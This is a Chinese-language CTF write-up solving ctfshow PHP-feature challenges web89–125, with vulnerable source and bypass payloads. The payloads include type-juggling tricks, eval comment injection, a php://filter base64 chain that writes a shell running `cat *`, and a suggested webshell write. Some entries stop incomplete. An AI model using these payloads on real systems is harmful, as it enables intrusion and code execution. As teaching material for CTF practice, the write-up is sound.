旧文新发
php特性
web89
开始php特性系列了,师傅们,冲冲冲!
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
intval
(PHP 4, PHP 5, PHP 7, PHP 8)
intval — 获取变量的整数值
说明
intval(mixed $value
, int $base
= 10): int
通过使用指定的进制 base
转换(默认是十进制),返回变量 value
的 int 数值。 intval() 不能用于 object,否则会产生 E_WARNING
错误并返回 1。
参数
-
value
要转换成 integer 的数量值
-
base
转化所使用的进制注意:如果
base
是 0,通过检测value
的格式来决定使用的进制:如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,如果字符串以 “0b” (或 “0B”) 开头,使用 2 进制 (binary);否则,如果字符串以 “0” 开始,使用 8 进制(octal);否则,将使用 10 进制 (decimal)。
返回值
成功时返回 value
的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。
最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上,intval('1000000000000')
会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。
字符串有可能返回 0,虽然取决于字符串最左侧的字符。 使用 整型转换 的共同规则。
因此,可以用非空数组绕过
?num[]=1
web90
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:06:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
法一
在intval
函数返回值官方解释中,提到字符串有可能返回 0,虽然取决于字符串最左侧的字符。 使用
整型转换
的共同规则
。
PHP 也有前导数字字符串的概念。 这只是一个字符串,其开头类似于数字字符串,后跟任何字符。
意思是数字+非数字字符
的字符串可以通过intval
可以转化为纯数字int类型
而且,第一个判断$num==="4476"
中===
为强等于
例子 | 名称 | 结果 |
---|---|---|
$a == $b | 等于 | true ,如果类型转换后 $a 等于 $b。 |
$a === $b | 全等 | true ,如果 $a 等于 $b,并且它们的类型也相同。 |
$a != $b | 不等 | true ,如果类型转换后 $a 不等于 $b。 |
$a <> $b | 不等 | true ,如果类型转换后 $a 不等于 $b。 |
$a !== $b | 不全等 | true ,如果 $a 不等于 $b,或者它们的类型不同。 |
$a < $b | 小于 | true ,如果 $a 严格小于 $b。 |
$a > $b | 大于 | true ,如果 $a 严格大于 $b。 |
$a <= $b | 小于等于 | true ,如果 $a 小于或者等于 $b。 |
$a >= $b | 大于等于 | true ,如果 $a 大于或者等于 $b。 |
$a <=> $b | 太空船运算符(组合比较符) | 当$a小于、等于、大于 $b时 分别返回一个小于、等于、大于0的 int 值。 |
当两个操作对象都是 数字字符串, 或一个是数字另一个是 数字字符串, 就会自动按照数值进行比较。 此规则也适用于 switch 语句。 当比较时用的是 ===
或 !==
, 则不会进行类型转换——因为不仅要对比数值,还要对比类型。
利用以上,通过传入一个4476加字母的字符串即可绕过
?num=4476dad
法二
intval
可以将float类型转换成int类型
?num=4476.1
web91
开始php特性系列了,师傅们,冲冲冲!
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:16:09
# @link: https://ctfer.com
*/
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
对于正则表达式'/^php$/im'
和'/^php$/i'
:
/
之间元字符^
匹配开头,$
匹配结尾
/
外修饰符:
i (PCRE_CASELESS
)
如果设置了这个修饰符,模式中的字母会进行大小写不敏感匹配。
m (PCRE_MULTILINE
)
默认情况下,PCRE 认为目标字符串是由单行字符组成的(然而实际上它可能会包含多行), "行首"元字符 (^) 仅匹配字符串的开始位置, 而"行末"元字符 ($) 仅匹配字符串末尾, 或者最后的换行符(除非设置了 D 修饰 符)。这个行为和 perl 相同。 当这个修饰符设置之后,“行首”和“行末”就会匹配目标字符串中任意换行符之前 或之后,另外, 还分别匹配目标字符串的最开始和最末尾位置。这等同于 perl 的 /m 修饰符。如果目标字符 串 中没有 “\n” 字符,或者模式中没有出现 ^ 或 $,设置这个修饰符不产生任何影响。
于是,需满足任意行开头为php
且开头不为php
,才echo $flag
构造payload
?cmd=%0aphp
web92
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:29:30
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
此处$num==4476
为弱等于判断,php为弱类型语言,即使像web90一样使用前导数字字符串(数字+非数字
)绕过遇到若等于会转换相同类型比较,即'4476a'==4476
为真。
不过intval
函数中base
参数被设为0,可以自动进制转换,于是可以将4476转换为八进制(0
开头)或十六进制(0x
开头或0X
开头)
关于intval函数base参数为0的解释web89
?num=010574
或
?num=0x117c
特殊的,对于数字中存在e或E,会被当做科学计数法符号处理,所以还可以
?num=4476e2
web93
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:32:58
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
同上
?num=010574
web94
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
strpos
(PHP 4, PHP 5, PHP 7, PHP 8)
strpos — 查找字符串首次出现的位置
说明
strpos(string $haystack
, string $needle
, int $offset
= 0): int|false
返回 needle
在 haystack
中首次出现的数字位置。
参数
-
haystack
在该字符串中进行查找。
-
needle
要搜索的字符串。Prior to PHP 8.0.0, if
needle
is not a string, it is converted to an integer and applied as the ordinal value of a character. This behavior is deprecated as of PHP 7.3.0, and relying on it is highly discouraged. Depending on the intended behavior, theneedle
should either be explicitly cast to string, or an explicit call to chr() should be performed. -
offset
如果提供了此参数,搜索会从字符串该字符数的起始位置开始统计。 如果是负数,搜索会从字符串结尾指定字符数开始。
返回值
返回 needle 存在于 haystack
字符串起始的位置(独立于 offset
)。 同时注意字符串位置是从0
开始,而不是从1
开始的。
如果没找到 needle,将返回 false
。
首位不能是0,加个空格完事
?num= 010574
或float绕过
?num=4476.0
web95
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
多过滤了个.,空格绕过
?num= 010574
web96
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 19:21:24
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
./flag.php绕过,意为当前目录下的flag.php文件
web97
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
数组绕过
将a,b以数组传参,此时变量$a和$b为Array数组,md5函数只能对字符串进行运算,对数组作做运算返回NULL,NULL===NULL,绕过
a[]=1&b[]=2
web98
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com
*/
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
不知道在考什么?反正不像是引用,没有&也是可以打通的
或许是超级全局数组?
众所周知,_POST**,**_GET,$_COOKIE等都是存于全局数组中的。
<?php
var_dump($_GET);
GET传参?a=1&b=2&c[1\]=3](http://localhost/flag.php?a=1&b=2&c[1]=3)
对于此题中,$_GET?$_GET=&$_POST:'flag';
若**_GET**数组不为空,将**_POST引用传递给$GET**
简单说一下变量中的&引用吧,当**$a=&b**后,改变a的值就相当于改变$b的值,如同c中取地址,将b地址赋给a地址,a、b指向同一地址,a值自然等于b值
只需保证$_GET不为空,随便传点东西,且POST传参HTTP_FLAG=flag,$_POST变量中数组赋给$_GET变量,此时$_GET数组中存在HTTP_FLAG=>‘flag’,highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
三元判断为前值$flag
,而$flag
为前面include("flag.php");
执行后包含flag.php
中的flag
变量,highlight_file
flag
变量值报错显示flag
web99
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
类型检查默认为false,说明in_array中1=='1.php’
**rand(1,$i)**赌狗函数
既然弱类型检查,往1.php
写个马
web100
后面可能停留几天,将条目理顺一些
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-21 22:10:28
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
运算符优先级从高到低
结合方向 | 运算符 | 附加信息 |
---|---|---|
不适用 | clone new |
clone 和 new |
右 | ** |
算术运算符 |
不适用 | + - ++ -- ~ (int) (float) (string) (array) (object) (bool) @ |
算术 (一元 + 和 - ), 递增/递减, 按位, 类型转换 和 错误控制 |
左 | instanceof |
类型 |
不适用 | ! |
逻辑运算符 |
左 | * / % |
算术运算符 |
左 | + - . |
算数 (二元 + 和 - ), array 和 string (. PHP 8.0.0 前可用) |
左 | << >> |
位运算符 |
左 | . |
string (PHP 8.0.0 起可用) |
无 | < <= > >= |
比较运算符 |
无 | == != === !== <> <=> |
比较运算符 |
左 | & |
位运算符 和 引用 |
左 | ^ |
位运算符 |
左 | | |
位运算符 |
左 | && |
逻辑运算符 |
左 | || |
逻辑运算符 |
右 | ?? |
null 合并运算符 |
无关联 | ? : |
三元运算符 (PHP 8.0.0 之前左联) |
右 | = += -= *= **= /= .= %= &= |= ^= <<= >>= ??= |
赋值运算符 |
不适用 | yield from |
yield from |
不适用 | yield |
yield |
不适用 | print |
|
左 | and |
逻辑运算符 |
左 | xor |
逻辑运算符 |
左 | or |
逻辑运算符 |
可以发送=
运算符优先级大于and
运算符
因此,对于$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
中$v0值只与$v1是否为数字有关
这样,我们可以v2传参print_r($ctfshow)
,这里问题来了,由于v2过滤;
,eval内无法闭合了,而;
又必须存在v3中,中间的('ctfshow')
阻碍我们代码的执行
这里,可以用/**/
注释绕过,即v2传参print_r($ctfshow)/*
,v3传参*/;
,此时便执行eval("print_r($ctfshow)/*('ctfshow')*/;");
web101
修补100题非预期,替换0x2d
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-22 00:26:48
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
class ReflectionClass implements Reflector {
/* 常量 */
public const int IS_IMPLICIT_ABSTRACT;
public const int IS_EXPLICIT_ABSTRACT;
public const int IS_FINAL;
public const int IS_READONLY;
/* 属性 */
public string $name;
/* 方法 */
public __construct(object|string $objectOrClass)
public static export(mixed $argument, bool $return = false): string
public getAttributes(?string $name = null, int $flags = 0): array
public getConstant(string $name): mixed
public getConstants(?int $filter = null): array
public getConstructor(): ?ReflectionMethod
public getDefaultProperties(): array
public getDocComment(): string|false
public getEndLine(): int|false
public getExtension(): ?ReflectionExtension
public getExtensionName(): string|false
public getFileName(): string|false
public getInterfaceNames(): array
public getInterfaces(): array
public getMethod(string $name): ReflectionMethod
public getMethods(?int $filter = null): array
public getModifiers(): int
public getName(): string
public getNamespaceName(): string
public getParentClass(): ReflectionClass|false
public getProperties(?int $filter = null): array
public getProperty(string $name): ReflectionProperty
public getReflectionConstant(string $name): ReflectionClassConstant|false
public getReflectionConstants(?int $filter = null): array
public getShortName(): string
public getStartLine(): int|false
public getStaticProperties(): array
public getStaticPropertyValue(string $name, mixed &$def_value = ?): mixed
public getTraitAliases(): array
public getTraitNames(): array
public getTraits(): array
public hasConstant(string $name): bool
public hasMethod(string $name): bool
public hasProperty(string $name): bool
public implementsInterface(ReflectionClass|string $interface): bool
public inNamespace(): bool
public isAbstract(): bool
public isAnonymous(): bool
public isCloneable(): bool
public isEnum(): bool
public isFinal(): bool
public isInstance(object $object): bool
public isInstantiable(): bool
public isInterface(): bool
public isInternal(): bool
public isIterable(): bool
public isReadOnly(): bool
public isSubclassOf(ReflectionClass|string $class): bool
public isTrait(): bool
public isUserDefined(): bool
public newInstance(mixed ...$args): object
public newInstanceArgs(array $args = []): ?object
public newInstanceWithoutConstructor(): object
public setStaticPropertyValue(string $name, mixed $value): void
public __toString(): string
}
是有__toString()
用法的
new一个ReflectionClass
来反射ctfshow类的属性和方法,再通过echo来触发__toString()
方法
?v1=1&v2=echo new ReflectionClass&v3=;
web102
换个姿势
<?php
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-23 20:59:43
*/
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
熟悉的call_user_func
和file_put_contents
is_numeric
是个强检查,一开始想用十六进制hex2bin
绕过的,然后伪协议解base64写入奈何0x不算数字,最多也只能00.
取出个.
看了wp玩的比较极限,以下是可用字符,能用的不多,但转成base64就多起来了
<?php
for ($i = 32; $i <= 256; $i++) {
$p=dechex($i);
if(is_numeric($p)){
echo chr($i)." 0x$p\n";
}
}
?>
由于科学计数法可通过is_numeric
,因此传入可以带一个e
如下hex2bin先转成字符,后利用php://filter/write=convert.base64-decode/resource=shell.php
解base64,最后访问执行<?=`cat *`;
v1=hex2bin
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=cat.php
还有一个更极限的shell
?v2=115044383949474167494352665230565557324664594473&v3=php://filter/write=convert.base64-decode/resource=1.php
web103
换个姿势
<?php
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-23 21:03:24
*/
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
?>
同上
web104
换个姿势
<?php
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:27:20
*/
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>
过于简单
v1、v2传参相同即可
?v2=1
v1=1
web105
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:34:07
*/
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
foreach($_GET as $key => $value)
指遍历$_GET数组中每一对键值对分别赋给循环内$key和$value
双(`$xx`)将变量xx值作为变量名
因此,两个foreach具有变量间传递的作用的作用,不过不可以赋新值
我们的目标是绕过!$_POST['flag']==$flag
,可flag未知,怎么POST?
不妨改变思路,改变后面$flag变量,但问题来了,$flag改变后,我们想要的flag值就被覆盖掉了。干脆将flag赋给error,die出flag
利用中间变量(这里是1)绕过GET和POST过滤
web106
<?php
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:38:27
*/
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
?>
似曾相识,总感觉哪里写过的,几种方法
法一
数组绕过,对于数组中不存在的键,或对应值为空字符串,或null,sha1运算相同,其实都是null
法二
aaroZmOk
sha1运算完0e66507019969427134894567494305185566735
aaK1STfY
sha1运算完0e76658526655756207688271159624026011393
e为科学计数法,0e开头及为零
web107
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 23:24:14
*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
?>
官方示例
由于 PHP 的变量名不能带「点」和「空格」,所以它们会被转化成下划线。 用本函数带
result
参数,也会应用同样规则到数组的键名。
<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";
// 推荐用法
parse_str($str, $output);
echo $output['first']; // value
echo $output['arr'][0]; // foo bar
echo $output['arr'][1]; // baz
// 不建议这么用
parse_str($str);
echo $first; // value
echo $arr[0]; // foo bar
echo $arr[1]; // baz
?>
和上题差不多,数组null绕过
web108
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 23:53:55
*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
0x36d十进制为877
^[a-zA-Z]+$
正则,我们只能传入字母,不过好在ereg具有字符串%00截断漏洞,即string参数中若有%00即截断,可以在%00后拼接任意字符
?c=a%00778
web109
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:02:34
*/
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
前面讲过,利用异常类Exception、Error、ErrorException
web110
我报警了
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:49:10
*/
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
过滤了括号
FilesystemIterator
:这是一个用于遍历文件系统的迭代器类。它继承了 DirectoryIterator
,提供更细粒度的控制,例如可以跳过 .
和 ..
目录。它会遍历指定目录中的文件和文件夹。
getcwd()
函数返回的是当前工作目录的绝对路径
因此
web111
变量覆盖
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 02:41:40
*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?>
函数内部是无法直接访问外部变量的,v1=ctfshow&v2=flag只会返回null,在函数内部flag是未被定义的
正常函数内访问外部变量需要传参或用$GLOBALS超级全局数组,普通传参仅改变函数内部形参的值,引用传参可改变全局的值
所幸题目给的var_dump
,我们可以将$GLOBALS这个全局数组打印出来
?v1=ctfshow&v2=flag
web112
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 23:47:49
*/
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
is_file
通过文件名检测文件,若假,则高亮文件内容。
相当于过滤了文件名,不过可以通过封装协议来绕过,在ctfshow-web之文件包含|n0o0b’s home遇到过
?file=php://filter/resource=flag.php
web113
函数绕过
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 23:47:52
*/
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
预期解
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php
文件名长度溢出,使得绕过is_file
/proc/self/root
链接到当前程序的根目录
web114
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 15:02:53
*/
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
同上
web115
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 15:08:19
*/
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
is_numeric检测是数字,强比较不等于36,经过trim后强比较不等于36,filter后若等于36
is_numeric绕过一般有e、空格、%09、%20、%0c,前面基本都绕不过后面,但换页符%0c可以,成功绕过trim
?num=%0c36
web123
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
本地测试发现传参CTF_SHOW.COM
中.
会被解析为_
这涉及php非法传参问题,传参名含、
+
、.
、[
等都会被转换成_
,好在php版本小于8中,传参名若含[
,后面非法字符将不进行转换
更具体可以看Delete师傅PHP中非法参数名问题分析 - Delete’s blog
fun=echo $flag&CTF_SHOW=&CTF[SHOW.COM=
web125
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
禁用flag、echo
法一
